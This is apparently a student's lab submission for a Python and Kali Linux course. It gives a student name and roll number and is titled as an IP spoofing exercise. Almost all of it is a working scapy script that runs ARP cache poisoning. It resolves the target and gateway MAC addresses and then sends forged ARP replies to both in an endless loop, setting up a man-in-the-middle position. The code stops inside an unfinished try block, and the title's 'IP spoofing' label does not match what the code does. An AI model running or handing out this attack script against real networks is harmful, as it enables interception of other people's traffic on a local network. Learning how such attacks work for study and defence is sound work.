

8

|  |  |
| --- | --- |
| Semester | TY Semester V |
| Subject | SDL PYTHON KALI LINUX |
| PRN | 0220190206 |
| Laboratory | CSS |

|  |  |
| --- | --- |
| Student Name | Tanisha Patil |
| Roll Number | 236 |

Writing a Python program for sending packets with unknown Source IP (IP Spoofing)

**Code:**

|  |
| --- |
| import scapy.all as scapy |
|  | import time |
|  | import argparse |
|  |  |
|  | def get\_args(): |
|  | parser = argparse.ArgumentParser() |
|  | parser.add\_argument("-t", "--target", dest = "target\_ip", help = "IP Address of the target.") |
|  | parser.add\_argument("-g", "--gateway", dest = "gateway\_ip", help = "IP Address of the Gateway.") |
|  | options = parser.parse\_args() |
|  | if not options.target\_ip: |
|  | #Code to handle if an IP Address of the target is not specified. |
|  | parser.error("[-] Please specify an IP Address of the target machine, use --help for more info.") |
|  | elif not options.gateway\_ip: |
|  | #Code to handle if an IP Address of the gateway is not specified. |
|  | parser.error("[-] Please specify an IP Address of the gateway, use --help for more info.") |
|  | return options |
|  |  |
|  | def get\_mac(ip): |
|  | arp\_req\_frame = scapy.ARP(pdst = ip) |
|  | broadcast\_ether\_frame = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff") |
|  | broadcast\_ether\_arp\_req\_frame = broadcast\_ether\_frame / arp\_req\_frame |
|  | answered\_list = scapy.srp(broadcast\_ether\_arp\_req\_frame, timeout = 1, verbose = False)[0] |
|  | return answered\_list[0][1].hwsrc |
|  |  |
|  | def spoof(target\_ip, spoof\_ip): |
|  | target\_mac = get\_mac(target\_ip) |
|  | spoof\_packet = scapy.ARP(op = 2, pdst = target\_ip, hwdst = target\_mac, psrc = spoof\_ip) |
|  | scapy.send(spoof\_packet, verbose = False) |
|  |  |
|  | packets\_sent = 0 |
|  |  |
|  | options = get\_args() |
|  | target\_ip = options.target\_ip |
|  | gateway\_ip = options.gateway\_ip |
|  |  |
|  | try: |
|  | while True: |
|  | spoof(target\_ip, gateway\_ip) |
|  | spoof(gateway\_ip, target\_ip) |
|  | packets\_sent += 2 |
|  | print("\r[+] Packets Sent: {}".format(packets\_sent), end = "") |
|  | time.sleep(2) |